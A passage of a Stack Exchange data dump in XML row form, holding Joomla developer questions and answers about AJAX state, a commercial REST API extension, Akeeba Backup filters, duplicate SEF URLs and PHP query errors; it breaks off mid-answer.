  <row Id="17920" PostTypeId="1" AcceptedAnswerId="17922" CreationDate="2016-09-18T16:10:11.833" Score="1" ViewCount="424" Body="&lt;p&gt;I am developing a joomla component.&#xA;I added a drag and drop uploader with ajax.&#xA;When a file is uploaded, a confirmation-mail should be sent.&#xA;I get the right item of the database with &lt;code&gt;$id = $app-&amp;gt;input-&amp;gt;getInt('id');&lt;/code&gt; &#xA;This works,&#xA;But when the ajax call is done, the variable &lt;code&gt;$id&lt;/code&gt; is set to &lt;code&gt;null&lt;/code&gt;, so in the email the &lt;code&gt;$customers-&amp;gt;name&lt;/code&gt; is also &lt;code&gt;null&lt;/code&gt;.&#xA;Why is the complete model reloaded after the ajax-call?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I call the controller method:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Ajax Call&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    cache: false,&#xA;    url: &quot;index.php?option=com_customercenter&amp;amp;task=mailAfterUpload&amp;amp;tmpl=component&quot;,&#xA;    dataType: &quot;json&quot;,&#xA;    formData: {&quot;companyID&quot;:&quot;companyID&quot;},&#xA;    success: function(data) {&#xA;        for(var i=0;i&amp;lt;data.length;i++) { &#xA;            obj.createProgress(data[i][&quot;name&quot;],data[i][&quot;path&quot;],data[i][&quot;size&quot;]);&#xA;        }&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Controller&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function mailAfterUpload() {&#xA;    $model = $this-&amp;gt;getModel();&#xA;    $response = $model-&amp;gt;sendEmailAfterUpload();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Model&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function sendEmailAfterUpload() {&#xA;    $customers = $this-&amp;gt;getCustomercenterData();&#xA;&#xA;    $mailer = JFactory::getMailer();&#xA;    $config = JFactory::getConfig();&#xA;    $sender = array( &#xA;        $config-&amp;gt;get( 'mailfrom' ),&#xA;        $config-&amp;gt;get( 'fromname' ) &#xA;    );&#xA;&#xA;    $mailer-&amp;gt;setSender($sender);&#xA;&#xA;    $user = JFactory::getUser();&#xA;    $recipient = $sender;&#xA;&#xA;    $mailer-&amp;gt;addRecipient($recipient);&#xA;&#xA;    $body = &quot;Der Kunde: &amp;lt;b&amp;gt;&quot; . $customers-&amp;gt;name . &quot;&amp;lt;/b&amp;gt; hat neue Daten übermittelt&amp;lt;br&amp;gt;Ordner '&quot; . $customers-&amp;gt;upload_folder . &quot;' checken&quot; ;&#xA;    $subject = $customers-&amp;gt;name . &quot; hat neue Daten übermittelt&quot;;&#xA;    $mailer-&amp;gt;isHTML(true);&#xA;    $mailer-&amp;gt;Encoding = 'base64';&#xA;    $mailer-&amp;gt;setSubject($subject);&#xA;    $mailer-&amp;gt;setBody($body);&#xA;&#xA;    $send = $mailer-&amp;gt;Send();&#xA;    if ( $send !== true ) {&#xA;        echo 'Error sending email: ' . $send-&amp;gt;__toString();&#xA;    } else {&#xA;        echo 'Mail sent';&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Model sql-query&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication('site');&#xA;$id = $app-&amp;gt;input-&amp;gt;getInt('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9046" LastEditorUserId="405" LastEditDate="2019-04-03T11:42:09.940" LastActivityDate="2019-04-03T11:42:09.940" Title="Problems with ajax call in component" Tags="|joomla-3.x|ajax|model|jmodel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17921" PostTypeId="2" ParentId="17388" CreationDate="2016-09-18T18:24:04.043" Score="1" Body="&lt;p&gt;I had been waiting years for proper REST API support in Joomla, but eventually I ended up rolling my own solution and turned it into a commercial product. The following response is quoted &amp;amp; updated from an earlier response to a similar question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/32706378/5361267&quot;&gt;https://stackoverflow.com/a/32706378/5361267&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into the same issue as well which is why I ended up developing a RESTful API for Joomla 3.6.x, powered by the Slim PHP micro-framework. Please note that this is a commercial Joomla package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The package includes the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Services Control Panel component&lt;/li&gt;&#xA;&lt;li&gt;Joomla &quot;services&quot; add-on library which includes a version of Slim v2.6.2 (along with several other libraries) obtain via composer and normally found in the vendor folder. More on this later...&lt;/li&gt;&#xA;&lt;li&gt;Services Joomla Plugin&lt;/li&gt;&#xA;&lt;li&gt;Services REST Plugin&lt;/li&gt;&#xA;&lt;li&gt;Services Slim Configuration Plugin&lt;/li&gt;&#xA;&lt;li&gt;Slim JSON API View plugin&lt;/li&gt;&#xA;&lt;li&gt;Slim JSON API Middleware plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You might ask, &quot;What is the point of all these plugins?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer is that it allows for compartmentalization of functionality of the core components and opens the door for an easily extensible services routes architecture. Note that new plugins could easily be added with Joomla ACL restricting access to those new routes, for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Services Control Panel allows for creation of tokens on a per-user basis (or even multiple tokens per Joomla user). It also allows the end user to configure the Slim micro-framework parameters and even include a threshold for the API rate-limiting functionality (currently based on requests-per-minute). Actually, that part is totally awesome as it provides live feedback on the state of the API rate threshold within the response header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cAPI Core package (&quot;cAPI&quot;, short for &quot;Constant API&quot; because everything needs a product name...) is just that - a &lt;em&gt;core&lt;/em&gt; package. There is a host of add-ons currently in development, the first one being a secure LDAP JSON API (which connects to Microsoft Active Directory), with lots more cool add-ons to come.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole point of all this is to say that, basically, your request has been answered and now a commercially supported solution has finally arrived. Plus, instead of reinventing the wheel, I based the extension on a popular, existing micro-framework (Slim), making it easier for developers to work with or develop on the core, pluggable, framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you get the best of Joomla (robust ACL, advanced plugin architecture, wealth of extensions) and Sim (proven, standards-compliant, mature RESTful PHP micro-framework), all in one easy to install package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exposing a website via an easily queryable API should not be taken lightly. I would hope anyone choosing to do this would implement 100% HTTPS access and security-harden their server(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more information here: &lt;a href=&quot;http://getcapi.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://getcapi.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this gets you going in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One more thing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read over your question again and read that part about your need to access users and content. These were actually the first service endpoints I worked on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/api/v1/user/&#xA;- Can be used to log a user in and out and returns the activated Joomla session in the response&#xA;- This also provides for multimodal authentication (both via token in header or username &amp;amp; password in URL string). Basically, it works with your needs.&#xA;- You force a user logout like this:&#xA;/api/v1/user/logout/username/joomlasessionid&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, this is tailor-made for driving remote services or, say iOS or Android apps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(GET,POST,PUT,DELETE) /api/v1/content/...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;- Provides ability to create, retrieve, update and delete content&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(GET,POST,PUT,DELETE) /api/v1/category/...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;- Provides ability to create, retrieve, update and delete categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also,&#xA;    /api/v1/user/login/(username)/(password)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/api/v1/user/logout/(username)/(joomlasessionid)&#xA;&#xA;/api/v1/user/profile&#xA;&#xA;/api/slim/routes&#xA;&#xA;and more...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information on available methods can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://learn.getcapi.org/api-methods&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://learn.getcapi.org/api-methods&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should go without saying that all cAPI Core package improves are included in the annual subscription fee. Add-ons are (will be) billed and supported separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional Notes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of cAPI v1.2.1 new methods have been added to allow CRUD for Joomla user and group management. In addition, I am working on a sandbox cluster at &lt;a href=&quot;http://getcapi.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://getcapi.io&lt;/a&gt; to allow potential customers to fully test out the APIs capabilities before subscribing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of cAPI v1.2.5 new methods have been added to allow CRUD actions on API tokens. The API has also been updated with doc-blocks which can auto-generate a Swagger.json. cAPI includes both a back-end and front-end view for accessing the complete API docs generated by Swagger UI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;a href=&quot;https://getcapi.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://getcapi.io&lt;/a&gt; along with demo1.getcapi.io and demo2.getcapi.io are now live and allow visitors to test the API docs. Soon, they will be configured to auto-reset so that accounts can be distributed to customers so they may fully test the API on their own.&lt;/p&gt;&#xA;" OwnerUserId="6968" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-09-18T18:24:04.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17922" PostTypeId="2" ParentId="17920" CreationDate="2016-09-18T18:30:36.553" Score="2" Body="&lt;p&gt;By default, each http request is independent. You have to send all parameters again in each call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if your client can keep session cookies, then you can store server-side variables in user session to keep an state between http requests.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('myId', $myId);&#xA;...&#xA;$session = JFactory::getSession();&#xA;$myId = $session-&amp;gt;get('myId');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-09-18T18:30:36.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17923" PostTypeId="1" CreationDate="2016-09-18T19:10:13.197" Score="0" ViewCount="32" Body="&lt;p&gt;I am using Joomla 1.5.18 and Akeeba backup for many years. Recently, while I doing the normal Full Site backup, I found nothing backup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the Database Table Exclusion, shown RED marked, which means ALL tables are excluded. ( see attached photo )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me how to resolve it? Many thanks.&lt;a href=&quot;https://i.stack.imgur.com/JygKz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JygKz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9041" LastActivityDate="2016-09-19T03:40:07.803" Title="While doing Akeeba backup, unable to set Database Table Exclusion" Tags="|akeebabackup|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17924" PostTypeId="2" ParentId="17515" CreationDate="2016-09-18T21:08:49.893" Score="0" Body="&lt;p&gt;This looks like a bug in Joomla to me.  The problem is that the very first entry in the menu table is the mainmenu with the value of the level colum set to 0.  When you hit the line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$levelPrefix = str_repeat('- ', $link-&gt;level - 1);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;at line 220 of menuitem.php, $link-&gt;level is 0 for tne mainmenu.  This creates the error message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to fix this would be to change the line to read: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$levelPrefix = str_repeat('- ', max($link-&gt;level - 1, 0));&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this should really be done in the Joomla source code.&lt;/p&gt;&#xA;" OwnerUserId="9048" LastActivityDate="2016-09-18T21:08:49.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17925" PostTypeId="2" ParentId="17923" CreationDate="2016-09-18T23:54:03.590" Score="1" Body="&lt;p&gt;Update to the latest version of Akeeba Backup for your version of Joomla and PHP which will probably be Akeeba Backup 3.6.2. See &lt;a href=&quot;https://www.akeebabackup.com/compatibility.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/compatibility.html&lt;/a&gt; to check for the correct version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try resetting all filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should point out (and you probably already know) Joomla 1.5 has been unsupported since 2012. At the very least (unless there is some compelling reason not to) you should upgrade to Joomla 1.5.26 and install the two end of life patches that can be found at: &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-09-18T23:54:03.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17926" PostTypeId="2" ParentId="17923" CreationDate="2016-09-19T03:40:07.803" Score="1" Body="&lt;p&gt;Are you using shared hosting? Given the age of Joomla 1.5 and the deprecated code within it, there's every chance that your PHP version or shared hosting setup has changed, affecting the operation of Akeeba backup. If resetting the filters doesn't work, I can only repeat that Neil said, upgrade. IMO, using Joomla 1.5 is an invitation for your site to be hacked, particularly if you haven't applied the EOF hotfixes described by Neil. Use Redmigrator or something similar to transfer to 2.5, upgrade to 2.5.28 and then migrate to 3.x from there.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastActivityDate="2016-09-19T03:40:07.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17927" PostTypeId="2" ParentId="17901" CreationDate="2016-09-19T04:16:03.070" Score="0" Body="&lt;p&gt;&lt;strong&gt;Hacking Exploit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming that you have sorted out the hacking exploit on your site first... if not, a site like myJoomla.com can help, and after ensuring you have scanned your site thoroughly and upgrading core and plugins, I strongly suggest you use Akeeba Admin Tools and Akeeba Backup (I gain nothing from these recommendations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla IDs and Duplicate pages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now onto your main question...&#xA;Joomla's SEF URL page writing process includes the item ID and any specific additional variables required to create the page as per the setup in each the menu, with defaults from the category.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is core to the way Joomla works. Joomla's menu structure is very&#xA;  powerful if you learn how to use it. Correct use of visible and hidden&#xA;  menus will generally replace any IDs in URLs if you wish it to be so.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am at a loss as to why you are looking to try to block this, particularly if you have blog/category posts for which you won't be creating specific menu items. &lt;strong&gt;&lt;em&gt;Is it because you are concerned that Google has or will index multiple pages with the same ID, thus causing duplicates in the index and lowering index ranking values?&lt;/em&gt;&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see if you have duplicates install the Xmap plugin, and remove all blank categories and extraneous items from your Joomla install. This will resolve most of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more detailed explanation of removing duplicates I suggest you read my answer regarding this at &lt;a href=&quot;https://joomla.stackexchange.com/questions/10046/how-can-i-get-rid-of-category-pages-in-joomla/14557&quot;&gt;How Can I Get Rid Of Category Pages in Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there are other good resources available by searching &quot;duplicate Joomla pages&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can gather, you are referring to links to another Joomla site that you have found on Google which you believe are (now) incorrect links and should go to a 404. Also, you are then saying this leads to the possibility of URL injection and that it shouldn't be allowed on a Joomla site (or are asking how to stop it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just don't see why this is an issue, or how stopping this is productive. There is no danger in allowing people to insert a ID number of a page which (if it exists) will load that page. But there is no reason for people to be doing so*, and it won't happen unless you have not shut-down duplicate links on your site, and Googlebot has incorrectly indexed a link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For proper link management - google &quot;removing duplicate Joomla pages&quot; and read up on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to redirect all 404s (including misspelt links etc.) then see &lt;a href=&quot;https://www.yireo.com/tutorials/joomla/joomla-administration/1461-redirecting-all-404s-to-joomla-properly&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redirecting all 404s to Joomla Properly&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Security: If you properly secure your Joomla site hacking exploits via URL injection is not going to be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I just don't see why this would be an issue for you.&lt;/p&gt;&#xA;" OwnerUserId="4047" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-09-29T09:00:23.523" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17928" PostTypeId="2" ParentId="17912" CreationDate="2016-09-19T07:18:53.037" Score="-1" Body="&lt;p&gt;This is the standard code that you can find in joomla's core components (like com_content):     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($this-&amp;gt;params-&amp;gt;get('show_page_heading')){ ?&amp;gt;&#xA;    &amp;lt;div class=&quot;page-header&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-09-19T07:18:53.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17929" PostTypeId="1" CreationDate="2016-09-19T07:29:41.313" Score="0" ViewCount="331" Body="&lt;p&gt;Im using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;joomla36 -&#xA;virtuemart 3.0.16 -&#xA;sj-market template made by www.smartaddons.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in my template there is a module that shows 6 products in a row in the front page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the module has 4 tabs, each for a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i click on a product on default loaded tab, it goes to product details page and its url is sef :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i click on another tab, 6 product loads form the category the tab points to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when i click on one of the loaded products, it goes to the product detail page, but using not sef url&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone has any idea about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite: www.farafan-market.ir&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2016-09-19T07:35:12.287" LastActivityDate="2017-01-30T02:05:12.410" Title="virtuemart product detail page sef urls" Tags="|joomla-3.x|virtuemart|sef|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17931" PostTypeId="1" CreationDate="2016-09-19T11:18:10.833" Score="1" ViewCount="474" Body="&lt;p&gt;I already have a database table called &quot;form&quot;; I added a new field in same table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is in the query &lt;code&gt;select * from &quot;form&quot;&lt;/code&gt;. While the old fields display, the new field doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why yet nothing displays; the query is correct. The error is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Undefined variable: Num&lt;/strong&gt; in C:\xampp\htdocs\velocizzare\modules\mod_client\mod_client.php on line 96&lt;br&gt;&#xA;  &lt;strong&gt;Trying to get property of non-object&lt;/strong&gt; in C:\xampp\htdocs\velocizzare\modules\mod_client\mod_client.php on line 96&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_POST['BtnConsulter'])){&#xA;    $_SESSION[&quot;del&quot;]=$_POST['BtnConsulter'];&#xA;    $user = JFactory::getUser();&#xA;    $db = JFactory::getDBO(); &#xA;    $queri=$db-&amp;gt;getQuery(true);&#xA;    $queri-&amp;gt;select('*');&#xA;    $queri-&amp;gt;from('ml0ak_chronoengine_chronoforms_datatable_formulaire');&#xA;    $queri-&amp;gt;where('NuméroK10='.$_POST['BtnConsulter']);&#xA;    $db-&amp;gt;setQuery ($queri); &#xA;    $users = $db-&amp;gt;loadObjectList();&#xA;    foreach ( $users as $us){&#xA;        $Cognome=$us-&amp;gt;Cognome;&#xA;        $civilite=$us-&amp;gt;civilite;&#xA;        $Email=$us-&amp;gt;Email;&#xA;        $TelCellulaire=$us-&amp;gt;TelCellulaire;&#xA;        $AutreTel=$us-&amp;gt;AutreTel;&#xA;        $DataDiNascita=$us-&amp;gt;DataDiNascita;&#xA;        $Ville=$us-&amp;gt;Ville;&#xA;        $PaysNaissance=$us-&amp;gt;PaysNaissance;&#xA;        $ResidenteInCitta=$us-&amp;gt;ResidenteInCitta;&#xA;        $Provincia=$us-&amp;gt;Provincia;&#xA;        $Num-&amp;gt;$us-&amp;gt;Num;                                      // &amp;lt;-- Line 96&#xA;&#xA;        );&#xA;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Nome: $Nome&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Cognome: $Cognome&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;E-mail: $Email&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Tel/Cellulare: $TelCellulaire&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Autre Tel: $AutreTel&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Data di nascita: $DataDiNascita&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Ville: $Ville&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Pays de Naissance: $PaysNaissance&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Residente in (Citta): $ResidenteInCitta&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt;Provincia: $Provincia&quot;;&#xA;        echo&quot;&amp;lt;br /&amp;gt; Num: $Num&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I cleared the cache, it does not work&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4cyc7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4cyc7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Please what's the solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result: &lt;a href=&quot;https://i.stack.imgur.com/eC8Id.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eC8Id.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9050" LastEditorUserId="12352" LastEditDate="2019-01-31T12:34:06.257" LastActivityDate="2019-01-31T12:46:01.173" Title="Errors processing query result set: Undefined variable and Trying to get property of non-object" Tags="|mysql|joomla-3.6|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17932" PostTypeId="2" ParentId="17931" CreationDate="2016-09-19T11:26:58.190" Score="2" Body="&lt;p&gt;Problem is this &lt;code&gt;$Num-&amp;gt;$us-&amp;gt;Num;&lt;/code&gt;. You're not defining it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So replace it with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$Num = $us-&amp;gt;Num;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You may also want to improve your code a little. Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput       = JFactory::getApplication()-&amp;gt;input;&#xA;$BtnConsulter = $jinput-&amp;gt;get('BtnConsulter', '');&#xA;&#xA;if ($BtnConsulter)&#xA;{&#xA;    $user    = JFactory::getUser();&#xA;    $session = JFactory::getSession();&#xA;    $db      = JFactory::getDbo(); &#xA;&#xA;    $session-&amp;gt;set('del', $BtnConsulter);&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('*')&#xA;          -&amp;gt;from($db-&amp;gt;qn('#__chronoengine_chronoforms_datatable_formulaire'))&#xA;          -&amp;gt;where($db-&amp;gt;qn('NuméroK10') . ' = ' . $db-&amp;gt;q($BtnConsulter));&#xA;    $db-&amp;gt;setQuery ($query); &#xA;&#xA;    $users = $db-&amp;gt;loadObjectList();&#xA;&#xA;    foreach ($users as $us)&#xA;    {&#xA;        $Cognome          = $us-&amp;gt;Cognome;&#xA;        $civilite         = $us-&amp;gt;civilite;&#xA;        $Email            = $us-&amp;gt;Email;&#xA;        $TelCellulaire    = $us-&amp;gt;TelCellulaire;&#xA;        $AutreTel         = $us-&amp;gt;AutreTel;&#xA;        $DataDiNascita    = $us-&amp;gt;DataDiNascita;&#xA;        $Ville            = $us-&amp;gt;Ville;&#xA;        $PaysNaissance    = $us-&amp;gt;PaysNaissance;&#xA;        $ResidenteInCitta = $us-&amp;gt;ResidenteInCitta;&#xA;        $Provincia        = $us-&amp;gt;Provincia;&#xA;        $Num              = $us-&amp;gt;Num;&#xA;&#xA;        echo &quot;&amp;lt;br&amp;gt;Nome: $Nome&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Cognome: $Cognome&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;E-mail: $Email&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Tel/Cellulare: $TelCellulaire&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Autre Tel: $AutreTel&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Data di nascita: $DataDiNascita&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Ville: $Ville&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Pays de Naissance: $PaysNaissance&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Residente in (Citta): $ResidenteInCitta&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Provincia: $Provincia&quot;;&#xA;        echo &quot;&amp;lt;br&amp;gt;Num: $Num&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When declaring the result set variables inside of the &lt;code&gt;foreach()&lt;/code&gt; loop, use spacing/tabs to align the &lt;code&gt;=&lt;/code&gt; assignment operator.  This will help you to see any inconsistencies in your code.  This technique is employed in a few places in the &lt;a href=&quot;https://developer.joomla.org/coding-standards/php-code.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla's php coding standards document&lt;/a&gt;:&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="12352" LastEditDate="2019-01-31T12:46:01.173" LastActivityDate="2019-01-31T12:46:01.173" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17934" PostTypeId="2" ParentId="16612" CreationDate="2016-09-19T20:06:58.770" Score="1" Body="&lt;p&gt;You can share the users from one Joomla! site to multiple other Joomla! sites (as long as you keep them on the same J! version) simply by linking the user tables of the databases. There is no need for creating cron jobs or complex data transfer scripts. Plus, if you only try to transfer the &lt;code&gt;table_users&lt;/code&gt; table, you could have issues within the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how you do it in Joomla! 2.5 - 3.6 (current version):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose the &quot;master&quot; site from which the users will be shared (this is the database which will actually store the data).&lt;/li&gt;&#xA;&lt;li&gt;Copy the &lt;code&gt;$secret&lt;/code&gt; value from the master site's &lt;code&gt;configuration.php&lt;/code&gt; file to the same file on all the &quot;sister&quot; sites.&lt;/li&gt;&#xA;&lt;li&gt;Ensure access to the master site's database is given to the users of each of the sister sites' 